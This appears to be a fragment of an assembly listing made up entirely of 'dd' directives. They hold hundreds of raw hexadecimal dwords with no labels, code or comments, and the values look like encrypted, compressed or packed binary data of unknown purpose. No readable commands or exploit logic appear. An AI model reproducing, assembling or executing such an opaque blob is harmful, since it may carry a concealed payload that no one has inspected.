		dd 405039F3h, 2D07090Bh, 0AA0E138h, 0B8C8A407h,	5D54A1B2h
		dd 5E6ED83Eh, 0E6C10DDEh, 571F600Fh, 0FA7C447Ah, 0EBDA180Bh
		dd 0DF691613h, 6D5A003Bh, 0E9681016h, 7B1B4C27h, 2870A49Bh
		dd 0BFF00A8h, 0E7C168F2h, 0EF188108h, 0E914FEFCh, 0AA3655CDh
		dd 55BA86FAh, 2FE07E0Fh, 0D09A0DABh, 12648062h,	59CD2916h
		dd 8EA8F664h, 2C1795F1h, 3C8B856Ah, 5452B471h, 0EAB16778h
		dd 140AA53Ch, 0E6584B3Ch, 725092Dh, 55090279h, 6075EC3Bh
		dd 0FB013940h, 47620E68h, 7444345Dh, 0D8547A8Fh, 6890E9C2h
		dd 3BDE3553h, 0F1CA2B0Dh, 2DCD6BF6h, 0FE100872h, 0EE881CA2h
		dd 0F65AF083h, 0F0C5BAD8h, 92F53889h, 9059EA14h, 0E5BB51Ah
		dd 209F0A46h, 0C3285A74h, 0C4267C68h, 0E7380AB5h, 0F2BB0F9Eh
		dd 80E5A975h, 90482301h, 0E1295B4Bh, 5208070Eh,	18D33CFDh
		dd 66926BA8h, 6EEC113h,	13AEEB08h, 920ABD52h, 0C0A32303h
		dd 77C0D4E1h, 0EAD9F6B5h, 0E9C209F1h, 0CB18174Dh, 90F6ABEh
		dd 0DC4E2E7Ch, 0ECBDFD92h, 0F4D396DCh, 0A25B6796h, 2302B0B3h
		dd 312E0D72h, 0D9A5CE5Eh, 3A012435h, 0F9018075h, 605B53EEh
		dd 41F546E4h, 97413ECEh, 579C6A23h, 0A4EB212Bh,	0D53D9D5Bh
		dd 0FA7ADCD1h, 98FA952h, 8A1BE348h, 58653E89h, 0E441F8A7h
		dd 0B2084E19h, 8814CEB6h, 523B62BAh, 58EBC35Ch,	571620AAh
		dd 0BAC50BBFh, 8BC8FE42h, 91E6531Ah, 5301D65Bh,	0EC04C0FEh
		dd 0ACDAE7h, 5AD7295Bh,	7F92FEB6h, 72B5B780h, 5E501C0h
		dd 206FED80h, 27C364EAh, 97C8BD4Bh, 7BC51868h, 0EA959CBEh
		dd 0BF00C3BAh, 5537A58h, 0E13222h, 52EB0D25h, 76E972A2h
		dd 0FE0943B2h, 9412CC8h, 221595Dh, 5650EE89h, 51020F50h
		dd 58018D63h, 7806892Dh, 0BCBE5CA8h, 0D8061484h, 0E89547F4h
		dd 1C8FC53Ah, 5F2179FEh, 288449EBh, 7D4E21F6h, 0C009D61Bh
		dd 0B5B0E947h, 82647584h, 0EFE202B1h, 2500AEDEh, 56DD70E2h
		dd 4D060F7h, 504E0C1h, 7EFE6001h, 0E6CE96Bh, 359F893Eh
		dd 0B9CA64E9h, 12FE30Bh, 73CD0054h, 9E02993Ah, 0F281005Bh
		dd 74C0482h, 584D295Ch,	49570530h, 3CC53176h, 555B9290h
		dd 62730BBDh, 0B8701B7Dh, 8950DF96h, 215B2EDDh,	3F7C087Eh
		dd 4B02BA1Eh, 60015E70h, 0B62C8B15h, 0B7D8E6C5h, 46B2555Bh
		dd 3D850C9Ah, 2547BAE8h, 54308105h, 6901924Eh, 15801445h
		dd 0F618F8F5h, 6F1F295Eh, 1504E613h, 48EF09ECh,	8B102CCFh
		dd 6F68561Fh, 315FB962h, 5C795E92h, 0A9C902C8h,	51F7DC22h
		dd 0D313FBBEh, 0C38C5EF3h, 0E9D4B455h, 4144499h, 35FD04FAh
		dd 0D01D1CA0h, 512CA5CCh, 2B9895D9h, 0B9D05E68h, 32A134FCh
		dd 2E7F48B2h, 69693394h, 4EEF8DE4h, 20A54CB2h, 0EFD13E20h
		dd 4AAAF783h, 9EE96E8Bh, 8F312AFDh, 8000CAA9h, 0A0F074EBh
		dd 482D6394h, 814CB1D9h, 4EDA775Bh, 89507990h, 0C45148C8h
		dd 0B990015Eh, 304B1FE6h, 0A561C6C1h, 282AF45Fh, 6F19F4F6h
		dd 76AC667h, 52EE57DEh,	2055F7E9h, 7243CEF4h, 1E0E768Ah
		dd 80860FF6h, 0E9F709D1h, 26D0D98Dh, 52777B2h, 0D906BB48h
		dd 73794BEFh, 13325977h, 5AD0B04Ah, 24D344C8h, 1CBE0F0Eh
		dd 0F71F7261h, 2C068DEh, 382032E6h, 0D7C86140h,	9F29C204h
		dd 4627450Bh, 515FE55Ch, 0B8932C9h, 0A2342E9h, 99BADA31h
		dd 2D06CCD0h, 8B26DDFh,	0A36CF7A0h, 0BB535100h,	71431866h
		dd 8EF8B905h, 0B381CE48h, 5ED6895Bh, 0D1E95836h, 0C39B4E61h
		dd 72C94A15h, 0FF2D0B7Dh, 0EE884C07h, 4CE2AFE9h, 6861BF71h
		dd 31381BCFh, 806BB280h, 0C19F4ECAh, 162F5AC3h,	8930B912h
		dd 2971C020h, 459CB5CBh, 61EF31Ch, 0A2C3294Dh, 73810804h
		dd 8901FF83h, 0D8166FEAh, 0F24A25E2h, 0D821C550h, 0CA2D5E29h
		dd 0CD332E18h, 13861DD8h, 0DC16C8E9h, 74BA57FDh, 50F1010Eh
		dd 83FE2B8h, 5EBBE83Bh,	0CCC84A31h, 0D0A0560Ch,	0D9093439h
		dd 40F0E93Ch, 1408BA97h, 0B84C212Eh, 439DDE20h,	0E1D89A9Ch
		dd 0D42A463Eh, 0EE1481F0h, 0D46800BAh, 6272BE1Dh, 0B27FEAB9h
		dd 3E28CB98h, 0DF255DA9h, 0CF87F5C5h, 62CE4359h, 0F1AB44E9h
		dd 0C5684F21h, 0C83DAC24h, 75C6587Ch, 753649Fh,	77D01203h
		dd 4E9E721h, 5C45FFB8h,	38F3BF6Ch, 9C042B12h, 0D02D3098h
		dd 0B590135Ah, 54ACCA21h, 2804943Dh, 90DAE4E9h,	81AA782h
		dd 0C7684209h, 46EE636h, 120A0F22h, 1948805h, 9998AA98h
		dd 0C0093CC9h, 9AFAD4C4h, 5DAB0AA0h, 14B913DBh,	17C072Dh
		dd 2AA34A88h, 0EB7BE952h, 55E2E3Eh, 78752DDDh, 68A015A8h
		dd 0FA243331h, 0F0120156h, 40A29FACh, 358A0440h, 6A633024h
		dd 88719A03h, 0ED0C0F72h
		dd 0A3927E87h, 76833EF3h, 350083B6h, 0E968B8A4h, 9FC89A39h
		dd 532502C5h, 59CE09EFh, 0D44B18D9h, 0C7AB4354h, 0D15F4825h
		dd 7EE96169h, 0ADEC3551h, 4467F3A0h, 64B2C156h,	0CD158147h
		dd 1DF16859h, 50894E68h, 2FF3B2C4h, 7FC09990h, 35371D4Ah
		dd 624306AFh, 61B71C29h, 66E53858h, 18B4D43Eh, 356F1C08h
		dd 1255093Fh, 0FE615929h, 0FD6440E9h, 78A32EBEh, 10F26CEh
		dd 728D7BFBh, 40D36131h, 0BF7F1B5Ch, 0EA0E497Fh, 0F738E425h
		dd 5B0729B0h, 9710205Dh, 284BD772h, 8024FA5h, 7F24755Fh
		dd 6BE0F1A6h, 5E6FD7D9h, 0D1202044h, 5EB5A020h,	5B31C34Ch
		dd 0C12BD028h, 0B3FC05Ah, 5E124468h, 0AC7744C1h, 0A3B1077Eh
		dd 0AC92F130h, 45577C25h, 74C8885Ch, 2C1C0095h,	4FB753BAh
		dd 0B6154EB5h, 4904F007h, 26A36386h, 773D585Bh,	86845462h
		dd 0EE8100F1h, 0A1EB45FCh, 87A0E0B0h, 52C8078Eh, 6F017A6Eh
		dd 5D70B8A9h, 0C283421Eh, 0A89743A5h, 765E6070h, 0CEF20779h
		dd 0F921531Ah, 5C130A64h, 0D383E9F6h, 0FE54ABCCh, 0D2F10963h
		dd 0C5FC395Eh, 44BA705h, 0AC052FD4h, 6EC828BBh,	0C2ABC39Bh
		dd 7BE36B33h, 0A3CA8ADAh, 86CFDADEh, 1D6136E5h,	1D6F4BE3h
		dd 0CB9E4Dh, 0E9056D52h, 489D53CAh, 245CF1EFh, 1BD2684h
		dd 2C2511CEh, 92FB7804h, 0D60ABDh, 0E042101Eh, 0A19A4E6Eh
		dd 0DC02E624h, 48627002h, 0F824F717h, 32FD884Fh, 0C7CE29EEh
		dd 66D30058h, 0B0B2525Ah, 6DFA60AAh, 0C9E18141h, 8C586F3Fh
		dd 0F6C18349h, 68103BE9h, 12314613h, 271CBCF2h,	913ACC21h
		dd 0D790BB5h, 96253BE7h, 8505B1Bh, 5E1B4C8Dh, 0D8DDC2D2h
		dd 0D0C59784h, 0E000BA2Ch, 11B076Ch, 0A2EDF0CDh, 0AD167D08h
		dd 1D12C54Eh, 9C220EB4h, 19BE01FAh, 40146F0Ch, 0B171B5BCh
		dd 3EE92B08h, 0BF5827DDh, 90BA2620h, 46A52060h,	11B338h
		dd 515A5BD8h, 0FE29B652h, 78FE5858h, 7DFA75B1h,	704605EBh
		dd 4EA610Dh, 0FE5F0800h, 9E0FCF50h, 0D2E927A2h,	5452B7C0h
		dd 0E9C7EA91h, 887320ABh, 98C05BF9h, 0E1801936h, 92A99036h
		dd 0D98E14F9h, 5409410h, 2E3C15Eh, 101701BCh, 5594CCAFh
		dd 75A66812h, 32E971C8h, 5C249CE1h, 0B904C88h, 0BE5E25DBh
		dd 82AA3D50h, 0D29913D5h, 7B95507Ch, 0F680452h,	90143558h
		dd 6FFAE274h, 0CA894A17h, 5D317B62h, 284FC620h,	0E0904A07h
		dd 0C0C60C09h, 978B0092h, 0B07DA31Bh, 3A6E0505h, 0B8313073h
		dd 56F1122Eh, 565A7FEDh, 26ADA05Bh, 0E4AD6680h,	622CF257h
		dd 0F1F6B0E3h, 74491A66h, 0A35C6491h, 4054C2C1h, 0A7B8822Fh
		dd 89319F58h, 57706CC5h, 3B6255A4h, 2C3B05ACh, 0F62A284Ch
		dd 0E9C31231h, 597140FCh, 6802C783h, 0D936BD25h, 0A1A24B50h
		dd 0C0019A23h, 4DE002EEh, 4E18B50Bh, 6880C59Dh,	690AB6EFh
		dd 3D0F509h, 4A302506h,	26B81590h, 12ECF435h, 93485EFh
		dd 256A04F6h, 0E90B82D6h, 964CD85Ah, 1684154h, 0AD89E110h
		dd 84890F11h, 8FE2D5F7h, 649FF44Bh, 0D140F867h,	9893006Bh
		dd 976D0642h, 0F3D1AD63h, 0C49D2B48h, 36440BEEh, 22A30F2Dh
		dd 598C754h, 5FC50741h,	2533E058h, 7B0D10F8h, 0B34AE94Fh
		dd 4B046A41h, 42206B21h, 985973A4h, 5BDD125Bh, 0ED8700D1h
		dd 1DF37410h, 0CA148D90h, 1AF72F0Fh, 0D78C23F5h, 50516D01h
		dd 0CF5330B0h, 0B1E30E41h, 6881D477h, 4CA2CACh,	0C0D9203Fh
		dd 0B093C582h, 65BD55CBh, 4D7D4F18h, 1B22BE72h,	0F431E090h
		dd 27706210h, 8B55661Ch, 0D1841DBDh, 8089B0D5h,	0F198DFEDh
		dd 759630B5h, 0EE8815BDh, 2C9050D3h, 0FD94EF75h, 0F2D9D038h
		dd 8533641h, 6E3E550h, 0F1521266h, 8CCDCE9h, 0AC8EE595h
		dd 0E31E137Eh, 705C8BC3h, 0BB527CBDh, 0FB6B2F22h, 289E060Bh
		dd 0B849237h, 0A68CC807h, 67C7BF2Dh, 0D0564182h, 92F9C30Bh
		dd 0F2FDC9DAh, 0F5927489h, 9308045Eh, 47870BD5h, 6FD11A02h
		dd 7F849ADFh, 0C308DA94h, 3F2E956Dh, 0E14F8B48h, 80C772CAh
		dd 6F5677BEh, 0B462BDDAh, 40182DEh, 1A21294h, 0E9C3D03Fh
		dd 0C69F5897h, 73F75D10h, 2C02D78h, 0CAFE2068h,	0A927BDB0h
		dd 40EF16F5h, 9133E983h, 0F501209Dh, 0F3F7D716h, 319A9CD5h
		dd 6F9266D4h, 633B61B1h, 0ECBC8B42h, 0D35CB175h, 4B84F634h
		dd 2E628931h, 44CE4F8Ch, 2904C235h, 113D43Ah, 28324AECh
		dd 5660EC9Dh, 65973178h, 187283Ah, 64A86DDBh, 0A8DFF581h
		dd 6890370Dh, 809DF158h, 4067556Eh, 95C70081h, 903EBF4h
		dd 3985FFDh, 0C113E817h, 8B6E73F1h, 0AAAE1026h,	7A4BE15Ah
		dd 0B844588Dh, 0FCF65AE4h, 8ED52DDFh, 22EBD0Ch,	72A6C8B7h
		dd 0DB5E8240h, 0EA036128h, 0D4269C69h, 0FEF42529h, 0D385C666h
		dd 1F007E24h, 0E974A442h, 0E59F4BA1h, 15D94377h, 68B64DA0h
		dd 0B7126732h, 0F4975805h, 89449438h, 2659A154h, 0AEBC88h
		dd 0BB97EB81h, 1276FC6h, 8872C5DDh, 0BF012761h,	39857633h
		dd 0B7CE51E8h, 1590E164h, 0B4F5825h, 9F4466D4h,	78D435C0h
		dd 41390B1Ah, 0E32040CEh, 2343B53Bh, 585E92ADh,	17C27DB2h
		dd 512D527Eh, 5065424Bh, 272CDE09h, 5A2530D1h, 45461DCAh
		dd 9ABEC8Fh, 0DE1921BDh, 3EEAE554h, 665B520Bh, 2629B0A9h
		dd 6F201C9Dh, 5B87B921h, 0E1D1F816h, 1A9CCCC1h,	7A8A3615h
		dd 3C34104h, 741B72A0h,	0D7C7B3B7h, 3B686A88h, 0E646469Dh
		dd 3B5748CFh, 4E13293Eh, 14052065h, 1742B776h, 0C49E97Ch
		dd 4AE3C488h, 73D47827h, 38297380h, 79FE28F4h, 0FFC32D58h
		dd 0F880A3C3h, 397BB551h, 408ED3Fh, 90E933C5h, 81015CF1h
		dd 70693AD2h, 0A71E309h, 0B3C34D80h, 6C60C62Dh,	42FDB218h
		dd 2AE93E72h, 118ED25Bh, 244D414Ah, 5A27FA2Ch, 0F6AE82CAh
		dd 1314E886h, 90064431h, 0EE2FD0A7h, 9E0E055Dh,	0A1121F7Ah
		dd 7E079B3h, 0C539C30h,	3E70CDBBh, 445CE3A8h, 0D61E2CFAh
		dd 63E90802h, 4A9B75F9h, 4EF05D18h, 7952E68Bh, 3D983555h
		dd 17C4F813h, 0B118B1E2h, 97D23FDAh, 5648354Eh,	79550E02h
		dd 0B6BEA04Ch, 251D318Ah, 321ACE01h, 0B3A6C60h,	4E496318h
		dd 9DF0C00Eh, 18ED7D00h, 191A095Eh, 95EF501h, 25CDC508h
		dd 22BF1366h, 0D1946AE8h, 2308175Fh, 19095E69h,	0F93D4A68h
		dd 1AABA734h, 0E925CD58h, 989C5ACDh, 4CF962Ah, 0F254F068h
		dd 5652038Ch, 0E80A4FBEh, 1D4BA48h, 29B66651h, 2A67E9F2h
		dd 0ADBB8E00h, 0F4641B3Bh, 841C17Eh, 0CA5A66D4h, 209244E0h
		dd 97526082h, 0D88383BFh, 6F0D8EE9h, 0EF62BC77h, 0C5C2DE02h
		dd 0DA29AA1Bh, 17D2283Ch, 684C032Fh, 15104C43h,	5C262DA1h
		dd 5ED81077h, 0F810D3B3h, 8BCD5C27h, 74B4C2C6h,	525FC2C6h
		dd 1CB4D340h, 5631901h,	0C41EF675h, 0D5284831h,	6CEC5F2Fh
		dd 0BA12205Eh, 41911001h, 6BEC0FD6h, 9587DDDCh,	28488B5Ch
		dd 0AE11850Bh, 0F0898B40h, 0E34EDDFEh, 0CED209Dh, 0BE3A7128h
		dd 74065383h, 37E1F701h, 0C62EAFB6h, 0F4F58AB7h, 25E961DBh
		dd 0C49F7CD5h, 0B500FCCCh, 88525321h, 8081EA5Fh, 0B2003593h
		dd 89792CBAh, 32F2FB28h, 18347101h, 0E5C14D40h,	5A76012Ah
		dd 0CD410201h, 93807E9h, 0ACA0CB09h, 93D0F758h,	0BE4A53FEh
		dd 0E4E7D9BCh, 0AB16AECFh, 0D02AB12Dh, 6D680673h, 0D4A44D69h
		dd 64627B1h, 777D7DFCh,	0E7E90512h, 11A7C8C7h, 12640D53h
		dd 1602ED98h, 7957E2B9h, 0A025120Ch, 4530C37h, 89114420h
		dd 0A10EACE8h, 0B65416E9h
		dd 0EEDC49AAh, 1DAE825Ch, 59E0710Ch, 0CF7203EAh, 0D52963CAh
		dd 290B12E9h, 6857C179h, 2E282594h, 0F14009Eh, 4B5B349Eh
		dd 62FE7390h, 496E2A05h, 0A852D4E9h, 0C78B7EFDh, 32FE56A9h
		dd 0C4616479h, 9230F528h, 4B56E39Fh, 0BE3CC83Dh, 0C79B620Bh
		dd 5E20BA02h, 51536019h, 7BE5D188h, 0D9A33167h,	5555FA5Bh
		dd 48ADE0EDh, 0E4C88891h, 5B5875C3h, 976BA218h,	0A34608DDh
		dd 0DEF03B9h, 4F12DE48h, 3A1F7BBh, 1E028A0h, 0F4EF355Fh
		dd 10605269h, 3C247FE4h, 68015104h, 9F505B5h, 82E421E9h
		dd 65A9C5F1h, 0F68A60F0h, 0B89BBC7h, 28F907C9h,	251097BCh
		dd 0CF1091A3h, 0CD56FFDh, 372CA79Eh, 0A2DE28C9h, 0B457A9E4h
		dd 1F39CE6Fh, 0F8555533h, 1FD802CBh, 12F2BB4Ch,	0BF0022CCh
		dd 1B4C65D1h, 552B90F7h, 0D22EE9A9h, 0F57808B3h, 60EFC13Bh
		dd 3DD31050h, 4B577F34h, 68B57Ch, 1867F1C7h, 0D510065Eh
		dd 0EA96907h, 0EB5B592Bh, 0F862292Ah, 81804394h, 18DB0EE5h
		dd 0EDCC68BBh, 323CCAD4h, 0FC4FACE9h, 0E647A7C0h, 0EEC12E4Bh
		dd 0D68008D2h, 0D7935F1Dh, 8B3E29F1h, 1AB1071Fh, 0E9D1E180h
		dd 0D27EB242h, 0D8A43831h, 0E5C7875Dh, 0F012EABAh, 504E818Eh
		dd 1E27ED48h, 99F5BE22h, 0F26E1377h, 4F0B78ADh,	7D3DC15Ah
		dd 15312AE8h, 567BB31Ah, 2516A973h, 0E5F10F59h,	34BABDDFh
		dd 0B2BA061Bh, 0B290A7A3h, 1D18BA05h, 41AB3677h, 2CD6CB22h
		dd 0A4876F3Bh, 256196D6h, 0F3C504EEh, 90421324h, 22134963h
		dd 8073003Bh, 0CDFEADF5h, 264FF3B8h, 48224BB4h,	0A6D8B166h
		dd 32C72A5Ch, 1B44CFEh,	0F41FAFECh, 205A97BCh, 965DC67Ah
		dd 9249009h, 0C56086F1h, 0C1ED051Bh, 0C503DE16h, 218C0BD2h
		dd 2F02F110h, 6842F49Ch, 8231779Ch, 8302C6F7h, 861250E8h
		dd 7009F6Dh, 7CE7489Ah,	0F2685809h, 9E1C66Ah, 23AA078Ah
		dd 0D11319D0h, 0C61681E2h, 3BB31Ch, 0F154FAF2h,	4F27E94Ch
		dd 6A3ECDC4h, 5425D8CAh, 0C1C40ED1h, 4C70BE25h,	20E23B44h
		dd 9B2F0147h, 964C44A0h, 0EEE9E1F6h, 0E3613BF4h, 0D9721858h
		dd 0B28F8513h, 41C38896h, 50262BE9h, 0B64AB957h, 58B46F27h
		dd 5E552498h, 8DF3177Fh, 63A22A9Fh, 0BB730AD6h,	1D49113Ch
		dd 0FCC92BB2h, 0EF86DCA4h, 7F4A6F6Bh, 0B740C9C2h, 103BDAE7h
		dd 0C73BF6BDh, 0C4A72471h, 15BF8308h, 0C50262B9h, 3C6001F7h
		dd 880ADF2h, 40484BE9h,	2A529212h, 3C7A79EAh, 0E9D88201h
		dd 1D9CF6A5h, 0EF4E630h, 0B680B7B3h, 5AF308C4h,	0F5038073h
		dd 0D003E3C0h, 0B32FAFEBh, 5ABC231Dh, 55CE1EB1h, 9E65B612h
		dd 423A0D81h, 0FE4137FCh, 1AD17B55h, 12F13E60h,	0A818293Bh
		dd 0C37C0C87h, 1791DC2Bh, 4307552h, 803C7685h, 5DEF095Fh
		dd 35659CA8h, 0E366D02Fh, 7F61E1C4h, 5AE942C0h,	0CA74C5F9h
		dd 5A694CFDh, 502DD94Bh, 415984C4h, 133C7283h, 0C28070E9h
		dd 97782968h, 0FB181698h, 0BA817399h, 7A8E5FB9h, 45781F31h
		dd 89DE7858h, 0CC4A1521h, 0C632C5Fh, 774A01B7h,	0E9475D6Ch
		dd 43757576h, 95EF05C4h, 0E86494A7h, 0AD7680DDh, 0FA058446h
		dd 640E3F7Dh, 72DF014h,	9B901E50h, 807A15C0h, 8BF5026h
		dd 522F9FF8h, 5366C5B2h, 0DBDF41C3h, 8007EBC1h,	93F3810Ah
		dd 9869EE7Ch, 92B8F844h, 0C9CD0B6Ah, 0EA568B25h, 0EACFF801h
		dd 0D47F290Dh, 51D4AEA7h, 0BC3F04AEh, 7FC0128Dh, 7C8921BFh
		dd 1B1D2525h, 4C2D81FAh, 88274618h, 66B03AAh, 9E911A7h
		dd 0E8967DA0h, 61207E0Fh, 7A106855h, 4BB2306Ah,	1F4F3E52h
		dd 2D5B6FA4h, 3A828F59h, 0E9043BA4h, 0BDC093B1h, 0C0A00596h
		dd 0C2EA0181h, 0C95C345Ah, 4B895127h, 0B8692B79h, 801357E0h
		dd 5B25D801h, 9751E42Dh, 588E6329h, 23B66840h, 5B0B4BCFh
		dd 7E3C1h, 2467645Ah, 7960BD7Ah, 0CD0332F7h, 5BDA8941h
		dd 0B5D5A355h, 5A3CF5B0h, 4B18DA14h, 680BA4ADh,	8BB06CEAh
		dd 0F4A9AF6Ah, 74013BDDh, 59803F7Bh, 0E9F9042Fh, 0BB93B0BDh
		dd 0CD21E706h, 90800908h, 5A0D171Eh, 0E9490944h, 29F4A257h
		dd 50FD42D1h, 0EE012C40h, 31420273h, 8FB05AAEh,	0CA9D6F68h
		dd 0D0CE5D36h, 0D1215E12h, 0C1C0A3A2h, 0DC680AE9h, 5298125Fh
		dd 5B573C53h, 9C8BD817h, 0B82CE921h, 3F40FAF6h,	9057883Dh
		dd 89ED0A2h, 0E8035A2Eh, 8C658992h, 20680868h, 0BE76EB00h
		dd 0E0624BC5h, 0A1C64F29h, 84182D42h, 2904E251h, 0F60BBDFh
		dd 0D78BFC7h, 0F831F3EEh, 1CF60E5h, 0B5DE55Fh, 71272A6Eh
		dd 0B88FBD2Fh, 0C1E35EB2h, 0F6C707E8h, 25182EC0h, 0B2084C81h
		dd 3E05F849h, 90B235Bh,	0F5E958C5h, 0E3BBF453h,	310BEB7Dh
		dd 6163E9DDh, 0B0BC5CD9h, 3603B525h, 9010F929h,	0FE0AC8B3h
		dd 8EBF6C1h, 173FAD5Ah,	0D9638BDBh, 98114FD3h, 0F909F775h
		dd 5F153368h, 83BB50B9h, 58E58831h, 0DFF5C95Ah,	871C317Bh
		dd 0B753009Fh, 9ACEF01Dh, 18BB000Eh, 0B82A0531h, 0B91E259Dh
		dd 1AC253D6h, 400B7B2Ch, 0E264699Ch, 485D982Ah,	0D2099E06h
		dd 0A4214314h, 0E26D10ACh, 603CA4Bh, 5E232F2Dh,	8B5C558h
		dd 49FBADDBh, 8D0AB5CFh, 84F01223h, 60DAA6FDh, 3C268D8h
		dd 5A763B5Ch, 4460CA12h, 0BBFA303Ch, 38F9B539h,	88528350h
		dd 4BBFF0CEh, 0D62DA949h, 4440782Dh, 17212801h,	0E47FE932h
		dd 7109C385h, 80116552h, 29354BD4h, 0E8E7D215h,	0DCAFA489h
		dd 205AC89Fh, 582F1AF3h, 530FD151h, 966F9FEFh, 0D152AC65h
		dd 8812D3EEh, 807B60FAh, 5005A3CAh, 0A10C97B0h,	6C226C4h
		dd 0C226E0F0h, 4FC1BFB5h, 43003E23h, 40CB425h, 9278F459h
		dd 8F40BD54h, 0B80D0A4Eh, 0B50BD1Fh, 0ECF5136Eh, 66DB4BBDh
		dd 7EB9044Ah, 0F4FBF48Ah, 9DB8A27Fh, 3394C104h,	66C0219Ch
		dd 981610C4h, 1CF96810h, 1D1C3408h, 57805714h, 103A9105h
		dd 2BB15941h, 18BA2B3h,	0CAC9074h, 43F9CC16h, 0BA847F94h
		dd 0FEB12D8h, 4A244DB9h, 0B53DA8FCh, 29CB9FF8h,	0CA25FC79h
		dd 92BE55D8h, 0AB425BB8h, 55688027h, 2A595668h,	0EEE6D621h
		dd 785EF004h, 983E800Fh, 605CE819h, 0E9B55014h,	7A949A27h
		dd 5405788Ah, 0F666983Eh, 5BB9F030h, 0F612D089h, 0EF7B2CD8h
		dd 0F713045Ah, 59E14EACh, 266800E3h, 0A915C401h, 24FA1F90h
		dd 6C68CF89h, 4A1D8266h, 8102D2BAh, 2C8D0800h, 0E75B4EA6h
		dd 2A0C4198h, 58C017A2h, 0FB3BC605h, 408A2656h,	0DB9511D4h
		dd 0AC480869h, 0B54EF227h, 7D9407ECh, 26470C6Ch, 8C0AA48h
		dd 702FBA99h, 4BF40236h, 0D98945CCh, 2E112E0h, 232DCCF9h
		dd 0E90EE404h, 0E19C10E2h, 3298411h, 5A97AB89h,	6DA3905h
		dd 5BA384B8h, 35D58601h, 0EF8734F4h, 8802061h, 76AFE781h
		dd 0C17641C4h, 1A20348h, 0F7FDEEB4h, 2A37FB01h,	8BB5E94Ah
		dd 72D3D6CBh, 0B23D22FDh, 5A69F488h, 0C1C8CA57h, 224AC809h
		dd 6A33A54Bh, 5AA8F512h, 5375734Ah, 0BF545BF2h,	0B1420624h
		dd 2381E213h, 1CC3019Bh, 3D57F1B2h, 9F08B150h, 4B931FC3h
		dd 0C2E9060Ch, 0BC3A7CCh, 2F5B9D4h, 3B4D3E8Ah, 0D2FB20CFh
		dd 367CFD57h, 0EE44A82Ah, 0A35F39ECh, 5BFA7676h, 7BC7F72Ah
		dd 0E91D4E2Eh, 0DE2517CAh, 99CCCB4Ah, 1C050490h, 8947EE28h
		dd 26E64AD0h, 3512306Dh, 774162DAh, 0CE5C31E0h,	28BC92F0h
		dd 0B2638F40h, 0E5F75E3Eh, 3BC23168h, 25689398h, 7D1E73A6h
		dd 51575802h, 0F6A6DFE9h, 0F57A619Ah, 2F01C93Bh, 0F2F69D9h
		dd 0A87721C0h, 0E90B064Fh
		dd 934C2EF6h, 2F5124E1h, 9F63E15Ah, 84FE6895h, 0BA30B48Dh
		dd 0B3354FCBh, 0E91B630Ch, 30DB26E3h, 457D99BBh, 0D402A5Ah
		dd 4FCF60D6h, 76F3955Eh, 8F3BB00Dh, 80FB11BFh, 6709EE81h
		dd 36EA07h, 565E1C97h, 0EFC12862h, 0B972B4CCh, 9D7F792h
		dd 0F7D2F04Ch, 0B1781E2Dh, 0B33A934Ch, 0C8F69352h, 73F040h
		dd 55AC97Ch, 31384613h,	0CE37EC0h, 2DE94AE1h, 0CE1C1552h
		dd 34FD0DFDh, 38292D7Fh, 4B68C26Fh, 653AE61Eh, 0E25EA158h
		dd 12AC963Eh, 0A98D9CB5h, 0B123517h, 0CBE2F404h, 5801C91Eh
		dd 8620A0C6h, 44149FC2h, 0F1D8F6FDh, 0D74B594Eh, 90835802h
		dd 0A82CD63Ch, 2D35845Dh, 0BE8521Fh, 0B6489947h, 0A612ED65h
		dd 4FE896Ch, 42832B6h, 5D839F04h, 0E29D4E8Bh, 0FCEECBBFh
		dd 4CE98944h, 0E696B470h, 0FE4E9092h, 2337AFBBh, 0E1DE3175h
		dd 613A3843h, 8BE662DDh, 0D0EED12Ah, 29C60723h,	0FF920CFAh
		dd 0D2E8711Bh, 0B6C0EA83h, 0CB2E0FC2h, 0B6E9792Fh, 0B6B70EE0h
		dd 2C5BFA01h, 0C8EBF011h, 641FACB7h, 65EC9905h,	5654985Dh
		dd 13DDBE1Eh, 864649CCh, 7DA2FE26h, 20FB6B6h, 218E5445h
		dd 7043FCAh, 384EB5Eh, 0E58BFA2Ch, 0FF2C9267h, 85484F3Fh
		dd 1C60109h, 86588E9Eh,	4BCB9DCBh, 5250904Eh, 929EAAE9h
		dd 18E801BBh, 0CA299D4Eh, 97FEF8F4h, 0C1D78E2Eh, 0F5E0D3FAh
		dd 0EC43EBDh, 688B29FAh, 380BD284h, 802540Eh, 55644BB0h
		dd 25792186h, 7D53C828h, 631A2C0Fh, 0A8B252D8h,	4FE97A04h
		dd 25F58447h, 53E46030h, 3A1AB0BBh, 0D05C6758h,	696800FEh
		dd 5B48362Ah, 20E54B43h, 0E0097E6h, 0F7811379h,	0FE4F24F1h
		dd 121627E9h, 0FFF895D2h, 2DB22012h, 9C00C5B9h,	21E1CDA3h
		dd 57605FF9h, 402FB70h,	0F7DEA065h, 7D732519h, 0C80A456h
		dd 53BABB9Dh, 1C8B275Fh, 0D46937D9h, 6A5A59DCh,	0E55D234Eh
		dd 0B5A984DAh, 5E293D10h, 313E74DDh, 2BB19A05h,	40DC8C31h
		dd 0C6BC343Bh, 0BEC220A7h, 407651CAh, 82D78E6Dh, 0F9BEB17Fh
		dd 0B02C7631h, 1168AD05h, 0F30FE74h, 4EEC517Dh,	0B158B866h
		dd 0BA0C4B65h, 7458E802h, 60D02957h, 24523FADh,	14A66C44h
		dd 0A17C072Dh, 0B3D85914h, 41931D43h, 501BFF2Dh, 0B8D49042h
		dd 68028275h, 0A4B0D52Ch, 8CB3EEFBh, 28F4C00h, 9A9F6873h
		dd 0BF9A9D44h, 0E985A1FCh, 118DDF2Dh, 566890E6h, 27680055h
		dd 0E9104F6Ah, 18BF37D2h, 96C80131h, 0C22B972Ah, 9B405F1Bh
		dd 57800FD5h, 60090F68h, 1B226E4h, 0A50DA730h, 6CE0D653h
		dd 519D10B4h, 78C88BBh,	0E6D65A25h, 75561D9Eh, 0D0CF8044h
		dd 0E90E070Dh, 4724602Fh, 0E5AF3918h, 0E9131294h, 22CDF48Fh
		dd 0F57C3CE5h, 0F6814E00h, 41A96315h, 4FB655F8h, 0C5965E27h
		dd 0AA188C2Dh, 0D84B3C5Fh, 4F03F822h, 0C72C94B2h, 424483D3h
		dd 0EAC0240Eh, 61E26F05h, 0B551C2FEh, 0A03A28F5h, 0AB2FF51h
		dd 254D6C95h, 6466CDF6h, 0C8441C45h, 18D8CDA2h,	0CB06482Fh
		dd 2CEFE973h, 0E3C24C17h, 0C0BED18h, 75043EE4h,	1F98E930h
		dd 2E63C8h, 0B9543B7Fh,	61E66783h, 0BB4020B5h, 0C6B62316h
